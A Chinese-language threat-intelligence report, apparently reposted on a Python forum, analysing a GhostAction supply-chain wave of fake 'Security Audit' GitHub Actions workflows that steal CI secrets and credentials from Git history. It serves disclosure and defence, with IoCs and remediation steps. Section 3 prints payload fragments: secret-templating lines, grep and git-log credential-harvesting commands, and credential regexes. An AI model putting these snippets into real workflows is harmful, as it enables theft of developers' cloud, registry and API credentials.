社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

GhostAction 供应链攻击卷土重来:伪装“安全审计”的恶意工作流正在批量搬空 GitHub 仓库的云凭证

奇安信威胁情报中心 • 3 周前 • 106 次点击  

威胁研判 · 供应链安全 · GitHub Actions

GhostAction 供应链攻击卷土重来
伪装“安全审计”的恶意工作流正在批量搬空 GitHub 仓库的云凭证

两个被入侵的维护者账户、约 40 分钟内 340+ 仓库被批量注入;本轮新增对完整 Git 历史的凭证扫描,目标直指 AWS 云凭证与 AI 服务 API 密钥。

· GhostAction · GitHub Actions 工作流注入 · Git 历史凭证窃取 · 2026.10

事件速览:2026 年 10 月 8 日,供应链攻击活动 GhostAction 的新一轮爆发被多家安全厂商捕获。攻击者利用两个被入侵的开源维护者账户,在总计约 40 分钟的两个自动化时间窗口内,向超过 340 个 GitHub 仓库批量提交了伪装成“安全审计”的恶意 GitHub Actions 工作流。与以往不同的是,本轮载荷在窃取 CI/CD Secrets 的基础上,新增了对工作目录和完整 Git 历史的凭证扫描能力,目标直指 AWS 云凭证与 AI 服务 API 密钥。截至 10 月 9 日,已有超过 500 个 GitHub 账户被确认提交了该恶意工作流,波及仓库数以万计。

01 从两条诡异的提交记录说起

10 月 8 日 13:20 UTC,开源游戏引擎 pyxel(GitHub 星标约 1.8 万)的作者 Takashi Kitao 的账户,开始向自己名下的仓库推送一个名为 security-audit.yml 的工作流文件,提交信息是再普通不过的 “Add security audit workflow”。约 24 分钟内,27 个仓库被植入该文件,仅 pyxel 仓库就收到三次提交。

8 小时后,21:10 UTC,另一位维护者 Henry Wu(henrywoo)的账户开始了更大规模的扫荡:16 分钟内,318 个仓库(39 个源仓库 + 279 个 fork)被注入同一载荷。这一窗口的最后两秒,攻击落在了 Uber 旗下的 uber/athenadriver 仓库上——henrywoo 是该项目的原作者,保留着对组织仓库的写权限。没有 PR,没有评审,恶意文件以维护者本人的身份直接推入 master,提交未签名,审计日志中没有任何异常痕迹。

这些提交呈现出鲜明的自动化特征:跨越十年未更新的“僵尸仓库”与活跃项目被无差别处理,所有载荷文件除渲染进去的 Secret 名称外逐字节一致。Socket 在 10 月 9 日的更新中确认,自 10 月 7 日以来已有超过 500 个 GitHub 账户向数以万计的仓库提交了该恶意工作流,其中包括通过被入侵贡献者触及的组织仓库。截至发稿,恶意工作流仍存在于多个受影响仓库的默认分支上,且已成功运行。

02 GhostAction:一场从未停止的供应链攻击

GhostAction 并非新面孔。2025 年 9 月,GitGuardian 首次披露了这一针对 GitHub 的大规模凭证窃取活动:攻击者入侵 FastUUID 项目维护者账户作为起点,最终波及 327 名用户、817 个仓库,窃取 3,325 个密钥,涵盖 PyPI、npm、DockerHub、GitHub、Cloudflare 令牌及 AWS 密钥、数据库凭证等,多家公司的整套 SDK 产品线同时沦陷。PyPI 事后作废了所有被盗令牌,并确认攻击者未利用其发布恶意包。

一年多过去,这条攻击链几乎没有变过,始终是四步:

1账户入侵 —— 获取维护者的有效 GitHub 凭证(最可能来自窃密木马日志或凭证库中流通的泄露 PAT,具体途径未被观测到)。

2投递前侦察 —— 扫描目标仓库现有工作流文件中的 ${{ secrets.NAME }} 引用,将精确的 Secret 名称渲染进载荷模板。

3注入 —— 以受害者身份将伪装成安全增强的工作流直接提交到默认分支,推送动作本身即触发执行。

4外泄 —— 工作流通过 curl 以明文 HTTP POST 将凭证发送到攻击者控制的服务器。

真正变化的是基础设施与载荷能力。2025 年 9 月,外泄端点是 bold-dhawan.45-139-104-115.plesk.page 等域名(指向 45.139.104.115);而自 2026 年 9 月初起,端点切换为裸 IP 193.32.204.199(80 端口,及 3000 端口的 /api/workflow/receive?inj= 接口),不再产生 DNS 查询,基于域名的防御手段被整体绕过。2025 年版旧载荷至今仍在与新载荷并行投递。

图1 | GhostAction 攻击链全景流程图(图源:根据 Socket、StepSecurity 披露信息整理自绘)

03 解剖“安全审计”:一个工作流里的两套窃取引擎

以 pyxel 仓库 commit  97670a55 中的完整载荷为样本,这个名为 “Security Audit” 的工作流触发条件为 workflow_dispatch + 无任何分支/路径过滤的 push,整个任务只做一件事——收集凭证并外泄。其内部由两代技术拼接而成。

图2 | “Security Audit”恶意工作流内部数据流(图源:根据 Socket 披露的载荷代码整理自绘)

3.1 继承自 2025 年的部分:点名窃取 Actions Secrets

载荷中的这段逻辑是 GhostAction 的标志性手法:

out="REPO=$GITHUB_REPOSITORY"

[ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&..."

投递前侦察的成果在这里兑现:pyxel 的载荷中精确写死了四个 Secret 名称——crates.io 发布令牌、GitHub 个人访问令牌、PyPI 用户名与密码,恰好覆盖该项目双注册中心的全部发布凭证。这类凭证的价值在于,攻击者可以冒用一个用户已信任的项目的名义发布恶意版本,把单点账户失陷放大为下游供应链事件。若侦察未发现任何 Secret,模板会优雅降级为空判断 [ -n "" ](athenadriver、pyllama、chatllama 等仓库即是如此),工作流照常运行。

3.2 本轮新增的部分:把工作树和 Git 历史翻个底朝天

从 fetch-depth: 0 开始的一切都是新能力,也是本轮升级的核心:

- uses: actions/checkout@v4

  with:

    fetch-depth: 0# 拉取全部分支与标签,而非默认的浅克隆

grepped=$(grep -rEiho "<13种凭证正则>" --exclude-dir=.git . 2>/dev/null | sort -u)

gl=$(git log -p --all 2>/dev/null | head-200000)

hist=$(echo"$gl" | grep -oiE "<13种凭证正则>" | sort -u | head-300)

ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head-150)

hctx=$(echo"$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head-150)

五个变量分工明确:grepped 扫工作树,gl 缓存全量历史的补丁文本,hist 在历史中重跑同一套正则,ctx/hctx 则对 AWS 密钥做专门的上下文捕获。

fetch-depth: 0 是整个设计的支点:它让 Runner 拿到仓库的每一个分支和标签, git log -p --all 随之可以读取完整历史的补丁文本——哪怕某个密钥 2019 年提交后第二天就被删除,哪怕它只存在于一条早已废弃的分支或旧标签上,也会被原样收割。这正是维护者最可能误以为“已经清理干净”的那类凭证。

3.3 AWS 密钥配对:从“孤儿 ID”到可用凭证

两组上下文捕获是新增部分中最具针对性的设计。AKIA/ASIA 只是密钥标识符,本身无法通过认证;真正的 40 位 Secret Access Key 在实践中往往就躺在它上下一两行——.env 文件、AWS credentials 文件、Terraform 变量文件或 CI 配置块里。载荷对每个 AWS Access Key ID 抓取前后两行上下文,并用 AKIA_CTX_START / AKIA_CTX_END 分隔符包裹,以便接收端单独解析,从而重建完整可用的 AWS 密钥对,而非收回来一堆无法使用的孤立 ID。

3.4 十三类凭证正则:AI 密钥成为一等目标

工作树与历史两个扫描通道共用以下 13 个正则模式:

类别
模式
对应凭证
AWS
AKIA[0-9A-Z]{16}
长期访问密钥 ID
AWS
ASIA[0-9A-Z]{16}
STS 临时访问密钥 ID
AWS
(?:aws_)?secret(?:_access)?_key
 + 40 字符
Secret Access Key(按变量名匹配)
AWS
aws_session_token
 + 100 字符以上
STS 会话令牌
AI 服务
sk-ant-…
Anthropic API Key
AI 服务
sk-proj-…
OpenAI 项目密钥
AI 服务
sk-or-(v1-)?…
OpenRouter 密钥
代码托管
ghp_[A-Za-z0-9]{36}
GitHub 经典 PAT
代码托管
github_pat_…{60,}
GitHub 细粒度 PAT
代码托管
glpat-…
GitLab PAT
SaaS/云 API
AIza[A-Za-z0-9_-]{35}
Google / Firebase / GCP API Key
SaaS/云 API
xox[baprs]-…
Slack 各类令牌
SaaS/云 API
SG\.…\.…
SendGrid API Key

模式清单与受害仓库画像高度吻合:henrywoo 名下星标最高的 pyllama(约 2,800 星)与 chatllama(约 1,200 星)均为机器学习项目,其贡献者与 fork 者恰恰最常持有 AWS 密钥与各家 AI 服务密钥。

3.5 带内遥测与单次请求外泄

两类窃取结果拼接进同一个变量,一次 HTTP POST 全部带走。更有意思的是 URL 中的查询标记:模板渲染了具名 Secret 的仓库 POST 到 /?c=monami,仅有历史扫描结果的 POST 到 /?c=new——攻击者无需打开请求体,仅凭 URL 就能把回传数据按“含金量”分拣。同时,无论是否有所收获,每次运行都会回传仓库标识符,攻击者因此持有一份“可触达执行环境”的实时地图。所有流量走明文 HTTP 直连裸 IP,产生不了任何可供域名安全设备检查的 DNS 记录。

04 运行取证:三个仓库,三种结局

uber/athenadriver —— 外泄确认成功

StepSecurity 提取了恶意运行的日志(Run ID 37846728441,由注入提交后 3 秒触发)。日志显示 checkout 拉取了仓库全部 13 个分支和 20 个标签——包括 henry.wu/* 开发分支和一个名为 s3-bucket-compromised-2023-03 的分支,全部进入历史扫描范围。三段 grep 执行后,日志中出现一行  OK:工作流脚本本身不打印任何输出,这是 C2 服务器的 HTTP 响应体被 curl -s 回显进了日志。21:26:04Z,运行开始后仅 4 秒,POST 已送达并被确认接收。同一份日志还暴露了两个细节:AWS Secret Key 正则因使用了 POSIX ERE 不支持的非捕获组 (?:...) 而部分失配(日志中的 grep: warning 即源于此),但所有字面量前缀模式工作正常;本次运行的 GITHUB_TOKEN 权限仅为 contents: read,工作流自身无法推送或发布——权限提升完全依赖偷到的凭证,这正是 pyxel 发布令牌的价值所在。

kitao/pyxel —— 攻击者回来“手动按了按钮”

pyxel 的恶意工作流共运行 5 次且全部成功:3 次由攻击者推送触发,2 次为手动 workflow_dispatch(13:36:32Z 与 13:42:35Z),均在每次工作流更新后立即从被入侵的 kitao 会话发起。自动化扫荡之外,这是明确的“人在回路”操作——攻击者手动重跑外泄工作流以验证或重复收集。

typecho-fans/plugins —— 一个配置项拦断了攻击链

该仓库自 9 月 5 日起就被 xxyangyoulin 账户注入了旧版载荷。10 月 7 日,攻击者先后推送一个零文件变更的空提交(“Update Github Actions Security workflow”)和一次三行 README 修改(“Trigger security scan”),目的纯粹是重新触发工作流。但两次运行全部卡在 action_required 状态——该仓库启用了工作流运行审批,外泄未能执行。一个设置,击穿了整条攻击链。

05 影响面研判

  • 爆炸半径不取决于个人项目,而取决于凭证能写到哪。 henrywoo 因原作者身份保有 Uber 组织仓库写权限,一次个人账户失陷直接把载荷送进了财富 500 强代码库。

图3 | Socket 的 AI 扫描器将 uber/athenadriver 被注入恶意工作流的版本识别并标记为“已知恶意软件 / 供应链风险”(图源:Socket)

  • pyxel 是暴露面最高的目标。 约 1.8 万星、966 个 fork,Rust + Python 双语言,经 PyPI 与 crates.io 双渠道分发;载荷中点名的四个 Secret 正是两个注册中心的发布凭证加一个 GitHub PAT。
  • 279 个被注入的 fork 构成次生风险。 若启用 Actions,后续推送即可触发凭证收割;下游 fork 在新建或与上游同步时也会继承恶意工作流,而私有 fork 和下游镜像最为危险——真正被提交进仓库的凭证恰恰集中在私有仓库里。
  • 发布凭证的暴露窗口仍然敞开。 截至发稿,未观测到利用被盗凭证在 PyPI 或 crates.io 发布恶意版本:pyxel 最后版本为 8 月 12 日的 v2.9.9(失陷前),其 crates.io 发布停留在 2019 年,athenadriver 最后发布于 2024 年 3 月。但只要相关令牌未轮换,风险就持续存在——这与 2025 年波次的情况如出一辙,当时同样“只偷不用”,而“尚未滥用”从来不是凭证安全的证据。
  • 规模仍在扩大。 截至 10 月 9 日,GitHub 代码搜索显示默认分支上仍存活的恶意工作流覆盖 378 个仓库,其中 182 个带有 AKIA_CTX_START 历史扫描标记,88 个带有 ?c=monami 标记(即具名 Secret 已被模板化并外泄);该数字不含 fork,henrywoo 名下 279 个被感染 fork 需额外计入。
06 自查与应急处置建议

快速自查

在 GitHub 代码搜索中检查以下特征(登录后 Code 标签页):

"AKIA_CTX_START"path:.github/workflows

"c=monami"

"193.32.204.199"path:.github/workflows

org:组织名 "AKIA_CTX_START"

零命中是好迹象;任何命中即意味着存在被感染仓库或携带恶意工作流的 fork。若仓库自 2026 年 8 月 31 日以来出现过名为 “Security Audit”(security-audit.yml )或 “Github Actions Security”(github_actions_security.yml)的工作流,应按已确认失陷处置:所有已配置的 Actions Secret 与 Git 历史中存在的任何凭证都已被提供给攻击者,且工作流每次运行都会回连——哪怕一无所获。

若载荷中渲染了具名 Secret(Set A 暴露)
  1. 轮换文件中点名的每一个 Secret;对个人访问令牌应吊销而非轮换;
  2. 审查 PyPI / crates.io / npm 等注册中心在暴露窗口内的发布历史,比对发布产物与自有构建输出;
  3. 检查注入工作流的运行记录,任何已完成的运行均视为对应 Secret 已被外泄。
若载荷扫描了仓库(Set B 暴露)
  1. 用 git log -p --all 扫描完整历史而非仅当前 HEAD,包含不可达对象与废弃分支/标签;
  2. 凡是在历史中出现过的凭证,无论当前树中是否存在,一律按已暴露处理并轮换,覆盖上述全部 13 类;
  3. 对历史中发现过 AWS 密钥的,回溯审查暴露窗口及之后的 CloudTrail 日志,排查新增 IAM 用户、访问密钥与异常区域活动。
两种情况通用
  1. 从所有分支(不止默认分支)删除恶意工作流并回滚提交,包括组织仓库;
  2. 将被入侵账户视为完全失陷:吊销全部会话、PAT、OAuth 授权与 SSH 密钥,启用防钓鱼多因素认证并重新登记;
  3. 审查组织审计日志中的推送窗口,按账户权限枚举而非按预期排查所有可写仓库的工作流新增记录;
  4. 在出口日志(含自托管 Runner 网段)中排查与 193.32.204.199 的连接并实施阻断;
  5. 开启 GitHub Secret Scanning 的推送保护,要求外部协作者的工作流运行需审批——本轮事件中,审批门是唯一被观测到直接阻断外泄的控制项;
  6. fork 所有者:在任何来自受影响命名空间的 fork 上启用 Actions 前,先检查是否存在 .github/workflows/security-audit.yml;
  7. 清理完成前不要发布任何新版本:若配置了发布类 Secret,应假定攻击者已能以你的身份发包。
07 技术附录

7.1 MITRE ATT&CK 技术映射
战术
技术 ID
技术名称
本事件中的体现
初始访问 / 持久化
T1078
Valid Accounts(有效账户)
使用被入侵的维护者 GitHub 账户(henrywoo、kitao、xxyangyoulin)直接推送恶意提交
初始访问
T1195.002
Supply Chain Compromise: Compromise Software Supply Chain(供应链攻陷)
向开源仓库注入恶意工作流,窃取发布凭证,可向下游包生态扩散
防御规避
T1036
Masquerading(伪装)
恶意工作流伪装为“Security Audit”“Github Actions Security”等安全增强,提交信息同样伪装
凭证访问
T1552.001
Unsecured Credentials: Credentials In Files(文件中凭证)
正则扫描工作树与完整 Git 历史中的 13 类硬编码凭证
凭证访问
T1552
Unsecured Credentials(非安全存储凭证)
窃取 GitHub Actions 环境中注入的 CI/CD Secrets
凭证访问
T1528
Steal Application Access Token(窃取应用访问令牌)
窃取 GitHub/GitLab PAT、PyPI/crates.io/npm 发布令牌、Slack/SendGrid/Google 等服务令牌
收集
T1119
Automated Collection(自动化收集)
通过 grep + git log -p --all 对仓库工作树与全量历史进行自动化正则收割,并对 AWS 密钥做上下文配对
命令与控制
T1071.001
Application Layer Protocol: Web Protocols(Web 协议)
通过明文 HTTP POST 与 C2 通信,直连裸 IP 规避 DNS 层检测
数据外泄
T1041
Exfiltration Over C2 Channel(经 C2 通道外泄)
窃取数据经 curl 单次 POST 外泄至硬编码 IP 193.32.204.199
7.2 失陷指标(IoC)

网络指标

类型
值
说明
C2 IP
193.32.204[.]199
(80、3000 端口)
当前外泄端点;任何来自 Runner 的连接均确认数据已送出
外泄 URL
hxxp://193.32.204[.]199/?c=monami
、/?c=new
monami = 仓库存在具名 Secret;new = 仅历史扫描
API 接口
193.32.204[.]199:3000/api/workflow/receive?inj=
接收端点
历史 C2
45.139.104[.]115
、170.39.218[.]2、*.oast.fun
既往波次端点,适用于历史日志回溯
历史域名
bold-dhawan.45-139-104-115.plesk[.]page
、carte-avantage[.]com、objective-hopper.45-139-104-115.plesk[.]page
2025 年波次外泄域名

主机 / 代码指标

类型
值
恶意工作流路径
.github/workflows/security-audit.yml
、.github/workflows/github_actions_security.yml、.github/workflows/security-check.yml
工作流 / 任务名
“Security Audit”(job:  audit);“Github Actions Security”(job: send-secrets,步骤 “Prepare Cache Busting”)
提交信息
Add security audit workflow
、Update security audit workflow、Add/Update Github Actions Security workflow、Add security check workflow、Trigger security scan
POST 体标记
REPO=
、AKIA_CTX_START、AKIA_CTX_END
被入侵账户
henrywoo
、kitao、xxyangyoulin(受害者账户,非攻击者持有账号)

审计日志排查要点:维护者身份直接向默认分支提交工作流文件(绕过 PR)、新建“audit”工作流上的 workflow_dispatch 事件、数分钟内跨多仓库的密集未签名提交。

08 参考链接

1. Socket — New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials
https://socket.dev/blog/ghostaction-cloud-credentials

2. StepSecurity — GhostAction Returns: Malicious “Security Audit” Workflows Now Mine Credentials from Entire Git Histories
https://stepsecurity.io/blog/ghostaction-returns

3. GitGuardian — The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows(2025 年 9 月首次披露)
https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/

4. StepSecurity — GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows(2025 年 9 月)
https://www.stepsecurity.io/blog/ghostaction-campaign-over-3-000-secrets-stolen-through-malicious-github-workflows

5. The Hacker News — Credential-Stealing GitHub Actions Workflows Planted in Tens of Thousands of Repositories
https://thehackernews.com/2026/10/credential-stealing-github-actions.html

6. BleepingComputer — Hackers steal 3,325 secrets in GhostAction GitHub supply chain attack
https://www.bleepingcomputer.com/news/security/hackers-steal-3-325-secrets-in-ghostaction-github-supply-chain-attack/

7. FreeBuf — 泛滥的供应链攻击又一例:GhostAction 行动窃取凭证信息事件解析(2025 年 9 月)
https://www.freebuf.com/news/448136.html


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/202044